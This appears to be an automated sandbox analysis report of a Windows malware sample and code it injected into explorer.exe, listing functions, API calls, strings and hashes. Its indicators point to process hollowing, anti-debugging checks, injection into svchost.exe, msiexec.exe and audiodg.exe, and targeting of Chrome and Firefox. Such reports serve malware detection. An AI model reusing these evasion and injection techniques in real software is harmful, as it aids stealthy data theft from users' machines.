Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrowstd::bad_exception::bad_exception
String ID:
API String ID: 3838066056-0
Opcode ID: 254e41802780ed1e6ed44638fa89dc74917af6e5ea373e5e1808f3821d6a3226
Instruction ID: e853e30b8d8916300449082e7b04746c9daeba23700e1ec22ed20c3b6c8bc22e
Opcode Fuzzy Hash: 254e41802780ed1e6ed44638fa89dc74917af6e5ea373e5e1808f3821d6a3226
Instruction Fuzzy Hash: 2A118231614B4585EE14DB12E4443AAB361FB88BE4F884621DA9D07BF8EF7CC146C700

Function 0AFFC3A0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0AFFC3B9

Part of subcall function 0AFFDB40: std::_Lockit::_Lockit.LIBCPMT ref: 0AFFDB56
Part of subcall function 0AFFDB40: std::_Lockit::~_Lockit.LIBCPMT ref: 0AFFDB79

std::_Facet_Register.LIBCPMT ref: 0AFFC41E
std::_Lockit::~_Lockit.LIBCPMT ref: 0AFFC428
std::bad_exception::bad_exception.LIBCMT ref: 0AFFC44C
_CxxThrowException.LIBCMT ref: 0AFFC45D

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrowstd::bad_exception::bad_exception
String ID:
API String ID: 3838066056-0
Opcode ID: 92d34fac3f999c6acc666f1ee0cd415b812483497a40d97679ab547c4ee43271
Instruction ID: 553a68b4c793cf03eef2ec2149fdc16feb4226fb144facb1bd10051499b1bf51
Opcode Fuzzy Hash: 92d34fac3f999c6acc666f1ee0cd415b812483497a40d97679ab547c4ee43271
Instruction Fuzzy Hash: 80115171714B4991EE14DB16E4453AAB361FBC8BE4F888621DA9D07BE8EF7CC146CB00

Function 0C5CA0F0 Relevance: 7.6, APIs: 5, Instructions: 57processCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0C5CA128
CreateToolhelp32Snapshot.KERNEL32 ref: 0C5CA137
Module32First.KERNEL32 ref: 0C5CA155
Module32Next.KERNEL32 ref: 0C5CA175
Module32Next.KERNEL32 ref: 0C5CA197

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Module32$Next$CreateCurrentFirstProcessSnapshotToolhelp32
String ID:
API String ID: 3721439000-0
Opcode ID: bfe74005f11edf25df9aa976d2f8ffa720999daa244cf4553e34630531e0848c
Instruction ID: bca99d7d1609b0f5018f83609a0cc897c410944bc3732e9bee9deb2a2462d5b9
Opcode Fuzzy Hash: bfe74005f11edf25df9aa976d2f8ffa720999daa244cf4553e34630531e0848c
Instruction Fuzzy Hash: 3D11A53A314789CAEB20DB65E8D03AE6365FBC5794F904229DAAD87698DF6CC509C700

Function 0C5CDD74 Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0C5CDD81

Part of subcall function 0C5D24AC: _getptd_noexit.LIBCMT ref: 0C5D24B2
Part of subcall function 0C5D24AC: _amsg_exit.LIBCMT ref: 0C5D24C2

_inconsistency.LIBCMT ref: 0C5CDD8F

Part of subcall function 0C5D4CB0: DecodePointer.KERNEL32 ref: 0C5D4CBB

_getptd.LIBCMT ref: 0C5CDD94
_inconsistency.LIBCMT ref: 0C5CDDB0
_getptd.LIBCMT ref: 0C5CDDC0

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$_inconsistency$DecodePointer_amsg_exit_getptd_noexit
String ID:
API String ID: 3669027769-0
Opcode ID: a59402f6edba0345271037812e36e693c9b41085103b3a28d7fde40256890806
Instruction ID: e472ba473be4cee597272f7541be316f39a6a745dd7c025cc7b55a0cde0a4cfd
Opcode Fuzzy Hash: a59402f6edba0345271037812e36e693c9b41085103b3a28d7fde40256890806
Instruction Fuzzy Hash: E8E0303A711781C4CA61AB96E1801FD6774FBC8B95F1E8539DB4547206DE24C4948364

Function 0B00D174 Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0B00D181

Part of subcall function 0B0118AC: _getptd_noexit.LIBCMT ref: 0B0118B2
Part of subcall function 0B0118AC: _amsg_exit.LIBCMT ref: 0B0118C2

_inconsistency.LIBCMT ref: 0B00D18F
_getptd.LIBCMT ref: 0B00D194
_inconsistency.LIBCMT ref: 0B00D1B0
_getptd.LIBCMT ref: 0B00D1C0

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$_inconsistency$_amsg_exit_getptd_noexit
String ID:
API String ID: 823043651-0
Opcode ID: a59402f6edba0345271037812e36e693c9b41085103b3a28d7fde40256890806
Instruction ID: bc95469b932e5894166de6fc755306ac639e4a17c7ce9788891b0bc9b84bda89
Opcode Fuzzy Hash: a59402f6edba0345271037812e36e693c9b41085103b3a28d7fde40256890806
Instruction Fuzzy Hash: 79E06536625580D5EA5DBBD6F1412ED63A5EF8CF80F0C9A328F4417355DF30C4908765

Function 0C5DF13E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0C5CDD74: _getptd.LIBCMT ref: 0C5CDD81
Part of subcall function 0C5CDD74: _inconsistency.LIBCMT ref: 0C5CDD8F
Part of subcall function 0C5CDD74: _getptd.LIBCMT ref: 0C5CDD94
Part of subcall function 0C5CDD74: _inconsistency.LIBCMT ref: 0C5CDDB0

__DestructExceptionObject.LIBCMT ref: 0C5DF18B
_getptd.LIBCMT ref: 0C5DF191
_getptd.LIBCMT ref: 0C5DF1A4

Part of subcall function 0C5CDE04: _getptd.LIBCMT ref: 0C5CDE0D

Strings

csm, xrefs: 0C5DF15E

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$_inconsistency$DestructExceptionObject
String ID: csm
API String ID: 2821275340-1018135373
Opcode ID: 3d3c92d82db18198882214c5651a9633e7408605bbfd0fafc6450b131983cc71
Instruction ID: 3f95de803ff3829caa181dcf91c1f80fab14cd5d89079610d40ee6be58c73faf
Opcode Fuzzy Hash: 3d3c92d82db18198882214c5651a9633e7408605bbfd0fafc6450b131983cc71
Instruction Fuzzy Hash: 42F03C7A741746CACB30AFBADC802AC3364F789B59F0A5635DE5A9B704DE20C9C5C381

Function 0B01E53E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0B00D174: _getptd.LIBCMT ref: 0B00D181
Part of subcall function 0B00D174: _inconsistency.LIBCMT ref: 0B00D18F
Part of subcall function 0B00D174: _getptd.LIBCMT ref: 0B00D194
Part of subcall function 0B00D174: _inconsistency.LIBCMT ref: 0B00D1B0

__DestructExceptionObject.LIBCMT ref: 0B01E58B
_getptd.LIBCMT ref: 0B01E591
_getptd.LIBCMT ref: 0B01E5A4

Part of subcall function 0B00D204: _getptd.LIBCMT ref: 0B00D20D

Strings

csm, xrefs: 0B01E55E

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$_inconsistency$DestructExceptionObject
String ID: csm
API String ID: 2821275340-1018135373
Opcode ID: 3d3c92d82db18198882214c5651a9633e7408605bbfd0fafc6450b131983cc71
Instruction ID: d75d721699c2261213dcf2eec101cfa6aeede388217c91a2c5279dcc4383ca81
Opcode Fuzzy Hash: 3d3c92d82db18198882214c5651a9633e7408605bbfd0fafc6450b131983cc71
Instruction Fuzzy Hash: 9FF03C76A40641CDCB6CAF71D8812EC37A4EB89B5DF095935DE494B709EF30C481C340

Function 0C5CCE90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 0C5CCE9E
malloc.LIBCMT ref: 0C5CCEAA

Part of subcall function 0C5CD80C: _FF_MSGBANNER.LIBCMT ref: 0C5CD83C
Part of subcall function 0C5CD80C: _NMSG_WRITE.LIBCMT ref: 0C5CD846
Part of subcall function 0C5CD80C: HeapAlloc.KERNEL32 ref: 0C5CD861
Part of subcall function 0C5CD80C: _callnewh.LIBCMT ref: 0C5CD87A
Part of subcall function 0C5CD80C: _errno.LIBCMT ref: 0C5CD885
Part of subcall function 0C5CD80C: _errno.LIBCMT ref: 0C5CD890

_CxxThrowException.LIBCMT ref: 0C5CCEF3

Part of subcall function 0C5CD8CC: RtlPcToFileHeader.NTDLL ref: 0C5CD95B
Part of subcall function 0C5CD8CC: RaiseException.KERNEL32 ref: 0C5CD99A

Strings

bad allocation, xrefs: 0C5CCEBA

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Exception_callnewh_errno$AllocFileHeaderHeapRaiseThrowmalloc
String ID: bad allocation
API String ID: 1214304046-2104205924
Opcode ID: 7e016f7474c11ffc0ff3b41687f4ab61f2f18ebc43a9c4861304ae78cfb5a7fb
Instruction ID: d84f520d084f9b6f2053ca95eb959ec78f844e749a727086f631acc9ecc03b91
Opcode Fuzzy Hash: 7e016f7474c11ffc0ff3b41687f4ab61f2f18ebc43a9c4861304ae78cfb5a7fb
Instruction Fuzzy Hash: 33F0547D301B4BC5EF349790A8907A96354F7C5384F540529C94D0BB68EA7CE289CB01

Function 0C5CA2C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0C5B8DB0: HeapCreate.KERNEL32 ref: 0C5B8DCD

Part of subcall function 0C5CBEA0: lstrcpyA.KERNEL32 ref: 0C5CBEF4

RtlInitializeCriticalSection.NTDLL ref: 0C5CA2F1
RtlInitializeCriticalSection.NTDLL ref: 0C5CA2FE

Strings

Firefox, xrefs: 0C5CA2C9
Chrome, xrefs: 0C5CA2D7

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CreateHeaplstrcpy
String ID: Chrome$Firefox
API String ID: 3526404123-2335468407
Opcode ID: 5e07859512231f11daf46f2108aaf14a9e0fc441baff142bfaa2047852e74c23
Instruction ID: bd13f4ea74826ac4665ab668dc03973b2ad7eef3cfb1cbcf62729140a291f94e
Opcode Fuzzy Hash: 5e07859512231f11daf46f2108aaf14a9e0fc441baff142bfaa2047852e74c23
Instruction Fuzzy Hash: ACE07E7C611F4595FB08AB50FC84B8823A8B796702F800329C449022A1EF38A2DB8750

Function 0C5C57E0 Relevance: 6.3, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI ref: 0C5C57F5
lstrlenA.KERNEL32 ref: 0C5C5818
StrStrIA.SHLWAPI ref: 0C5C582A
malloc.MSVCRT ref: 0C5C583D
memcpy.MSVCRT ref: 0C5C5852

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlenmallocmemcpy
String ID:
API String ID: 1128592954-0
Opcode ID: 02854ba5690ef61899528fd1c00c31fb9a56f33149eb045adfa6ca3a780793bd
Instruction ID: 1b58c0c90379e60db7a9263de351df87561a7168fb45086ba523b1df804a12ff
Opcode Fuzzy Hash: 02854ba5690ef61899528fd1c00c31fb9a56f33149eb045adfa6ca3a780793bd
Instruction Fuzzy Hash: 0901A725715B9481EF589B56BD8431AA7D1FB8CFC1F4C5134DE4E43B59EE2CE4828B40

Function 0C5B4CB0 Relevance: 6.2, APIs: 4, Instructions: 195stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

isxdigit.MSVCRT ref: 0C5B4DD0
_errno.MSVCRT ref: 0C5B4DF6
strtol.MSVCRT ref: 0C5B4E12
_errno.MSVCRT ref: 0C5B4E1A

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$isxdigitstrtol
String ID:
API String ID: 1632192098-0
Opcode ID: 69d15012245a64e14370090e68f738929de3b6e67d6d537e295e31274d05cb8c
Instruction ID: bcd989f217b9610e78433ae9c72bef9e60b043413028bce41d7e9bdc6083cbc8
Opcode Fuzzy Hash: 69d15012245a64e14370090e68f738929de3b6e67d6d537e295e31274d05cb8c
Instruction Fuzzy Hash: 9561E43A305A84CAEB328F25E8943EA6F60F385B84F594625EF5A17793DB2DC085C711

Function 0C5B2E10 Relevance: 6.1, APIs: 4, Instructions: 51processCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0C5B2E41
Process32First.KERNEL32 ref: 0C5B2E5F
Process32Next.KERNEL32 ref: 0C5B2E7F
Process32Next.KERNEL32 ref: 0C5B2EA7

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$Next$CreateFirstSnapshotToolhelp32
String ID:
API String ID: 1264244614-0
Opcode ID: 18d7f8252acd514d1597a9fdfeab4930f33a7e134656dfb34a9ff9cfff9c3af5
Instruction ID: 65766f44f01683fe57876bdcdd201c3e0816ea072b093081e9e7d91462a18fe9
Opcode Fuzzy Hash: 18d7f8252acd514d1597a9fdfeab4930f33a7e134656dfb34a9ff9cfff9c3af5
Instruction Fuzzy Hash: 1211BE3A314686C1DB20EB22E8903EE6371FBC9394F940225DA9D53698DF38D20DCB40

Function 0C5B508C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 40stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 0C5B509C
strncmp.MSVCRT ref: 0C5B50E0

Strings

true, xrefs: 0C5B508F
false, xrefs: 0C5B50D3

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: strncmp
String ID: false$true
API String ID: 1114863663-2658103896
Opcode ID: f1066a8645173136229eb2efb45e40c1fd4699fb6119855faf1669294ee49ae8
Instruction ID: 081e974a5e3d6fe5049b4be68b5fb7d04d83797cab066bbebbd8d772a02dc412
Opcode Fuzzy Hash: f1066a8645173136229eb2efb45e40c1fd4699fb6119855faf1669294ee49ae8
Instruction Fuzzy Hash: 58018F7971498082EF94CF27F94074AA760F7C4FC8F485066DF1D9BB89EB29C5918B04

Function 0B00C21C Relevance: 6.0, APIs: 4, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

abort.LIBCMT ref: 0B00C253
_NMSG_WRITE.LIBCMT ref: 0B00C279
_set_abort_behavior.LIBCMT ref: 0B00C285
abort.LIBCMT ref: 0B00C28A

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: abort$_set_abort_behavior
String ID:
API String ID: 2064194629-0
Opcode ID: da11c466fb8982ce54f7a997522042ff2a06bc1c8b00337ed4e9437099afdc58
Instruction ID: 21e46fafcabf557d44b7e153d1bd5dbf7a1cf2f27ae15d62fbb9ed236fef8116
Opcode Fuzzy Hash: da11c466fb8982ce54f7a997522042ff2a06bc1c8b00337ed4e9437099afdc58
Instruction Fuzzy Hash: D8F08264221B0685FE6CB7A5E84935E3390FB8AB00F949A24C50D47BA0DF3CD455A311

Function 0AFFD230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0B002B70: _RunAllParam.LIBCPMT ref: 0B002B8C

_RunAllParam.LIBCPMT ref: 0AFFD263
_RunAllParam.LIBCPMT ref: 0AFFD276

Strings

expression contained an invalid collating element name., xrefs: 0AFFD23A

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: Param
String ID: expression contained an invalid collating element name.
API String ID: 1698386829-2754792405
Opcode ID: eb74c98f7557745dedf6cc57d06a28c36d8000365bc639663f1a0e635120ede0
Instruction ID: 0560f93af1238b91a170dc969997e1214ed9a4e7ef86785248b544530e231887
Opcode Fuzzy Hash: eb74c98f7557745dedf6cc57d06a28c36d8000365bc639663f1a0e635120ede0
Instruction Fuzzy Hash: BAF0306172270488EF28AFA6D4A036A3321EF85FC8F545922CE0E1B374CE29C4828380

Function 0B00BEC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

std::locale::_Locimp::_Locimp_dtor.LIBCPMT ref: 0B00BED9

Part of subcall function 0B00BFF4: std::_Lockit::_Lockit.LIBCPMT ref: 0B00C012
Part of subcall function 0B00BFF4: free.LIBCMT ref: 0B00C050
Part of subcall function 0B00BFF4: std::_Lockit::~_Lockit.LIBCPMT ref: 0B00C05B

free.LIBCMT ref: 0B00BEE7

Part of subcall function 0B00CBCC: _errno.LIBCMT ref: 0B00CBEC

Strings

r2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0, xrefs: 0B00BEF1

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: Lockitfreestd::_$Locimp::_Locimp_dtorLockit::_Lockit::~__errnostd::locale::_
String ID: r2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0
API String ID: 161006167-214936948
Opcode ID: 082aa972adecea70bb272cbb0c61e4be5c98ab979181f1205983394c7bbe5373
Instruction ID: 06645542569f1f81c3de4cd4971c736e7cb6d747d06fd6f948480ac6c6c5eab9
Opcode Fuzzy Hash: 082aa972adecea70bb272cbb0c61e4be5c98ab979181f1205983394c7bbe5373
Instruction Fuzzy Hash: CEF06D32621B4598FF29DFAAF4953A933B4EB4CB94F6891309A1D07365EF38C494C700

Function 0B00B7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0B00B7CC

Part of subcall function 0B00E128: std::exception::_Copy_str.LIBCMT ref: 0B00E147

_CxxThrowException.LIBCMT ref: 0B00B7ED

Strings

leW, xrefs: 0B00B7D8

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionThrowstd::exception::_std::exception::exception
String ID: leW
API String ID: 1924332735-1393144035
Opcode ID: ee070bedd9ab4b033a4ce754bf07a291d20f02d3645d9927dd998ed499958b60
Instruction ID: 4b063ca54a3e3f581ffddb122c066b58b96f53a1920f35b2c8d1cf54714c416f
Opcode Fuzzy Hash: ee070bedd9ab4b033a4ce754bf07a291d20f02d3645d9927dd998ed499958b60
Instruction Fuzzy Hash: F6E04F72614B8A99EB24DB60F48578AB360F388384F400515E2CD17B68EFBCC209CB40

Function 0C5CAA90 Relevance: 5.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0C5CAAA0
free.MSVCRT ref: 0C5CAAEE
free.MSVCRT ref: 0C5CAAF9
memset.MSVCRT ref: 0C5CAB09

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: free$CriticalEnterSectionmemset
String ID:
API String ID: 3605230531-0
Opcode ID: da40ef7cf8e3f78734e4a07cb4c1b4b3fcef38b01a220d45c436767549023870
Instruction ID: a4a279447fb015f188be027c001432f6e06869724e872cdb94aa5a476665ceac
Opcode Fuzzy Hash: da40ef7cf8e3f78734e4a07cb4c1b4b3fcef38b01a220d45c436767549023870
Instruction Fuzzy Hash: D2014C79310D44D2FB089F21EC90B9423A1F788B4AF48123AC60A461A4DF38E1CAC744

Analysis Process: A629855EB2A22925382193.exePID: 5564, Parent PID: 2592COMMON

Execution Graph

Execution Coverage:	40.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	483
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF673522048 Relevance: 66.9, APIs: 34, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6735220AD

Strings

@, xrefs: 00007FF673522429
NtUnmapViewOfSection, xrefs: 00007FF6735223AE
ntdll, xrefs: 00007FF673522399
.reloc, xrefs: 00007FF67352264F

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction ID: cfd355b6b62128b79ebff66e2661d11923ef08465917f50ec09716ad5018f487
Opcode Fuzzy Hash: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction Fuzzy Hash: 7632E67662CBC586E7B4CB16E9557AAB3A1FBC8B84F004136DA8D93B59DF3CD4448B00

Function 00007FF67352345C Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67352321C: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF67352346D), ref: 00007FF673523220

ExitProcess.KERNEL32 ref: 00007FF673523476
ExitProcess.KERNEL32 ref: 00007FF6735234D4

Strings

worker_FDhvwc, xrefs: 00007FF6735235CD
svchost.exe, xrefs: 00007FF673523497
msiexec.exe, xrefs: 00007FF6735234FB
worker_RdDwvE, xrefs: 00007FF6735234BF
worker_kBEqZh, xrefs: 00007FF673523561
audiodg.exe, xrefs: 00007FF67352354C
worker_BAccdq, xrefs: 00007FF673523510

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: 7a5e32be024098133c8fe6dcfe016820a41a9c533a74987b5c75148df4034c8c
Instruction ID: b945f52043b322a6283d9877bfe7d44b829d7d049a47d0ec39f9accc3b0054ae
Opcode Fuzzy Hash: 7a5e32be024098133c8fe6dcfe016820a41a9c533a74987b5c75148df4034c8c
Instruction Fuzzy Hash: 29612BA3A3CA9381FB64EB31EA5767A23A0BF94700F500135D44EE61E2CF3EE509C650

Function 00007FF673524264 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523481), ref: 00007FF673524268
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523481), ref: 00007FF67352427B
GetTokenInformation.KERNELBASE ref: 00007FF6735242AC
GetTokenInformation.KERNELBASE ref: 00007FF6735242DE
CloseHandle.KERNEL32 ref: 00007FF6735242ED

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction ID: d76f34ae36d97aea9f5ecb4fa772d3c273ebe1753a5f9dd74901e5696a05286b
Opcode Fuzzy Hash: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction Fuzzy Hash: 573134B3A2CA8186E750CB15E552B2EB7A0FBD4B80F501135FA8E93B68DF3DD4418B00

Function 00007FF6735238C4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF673523744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF673523784
Part of subcall function 00007FF673523744: GetVolumeInformationW.KERNELBASE ref: 00007FF673523801
Part of subcall function 00007FF673523744: wsprintfW.USER32 ref: 00007FF6735238A2

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF67352390D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523922
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523935
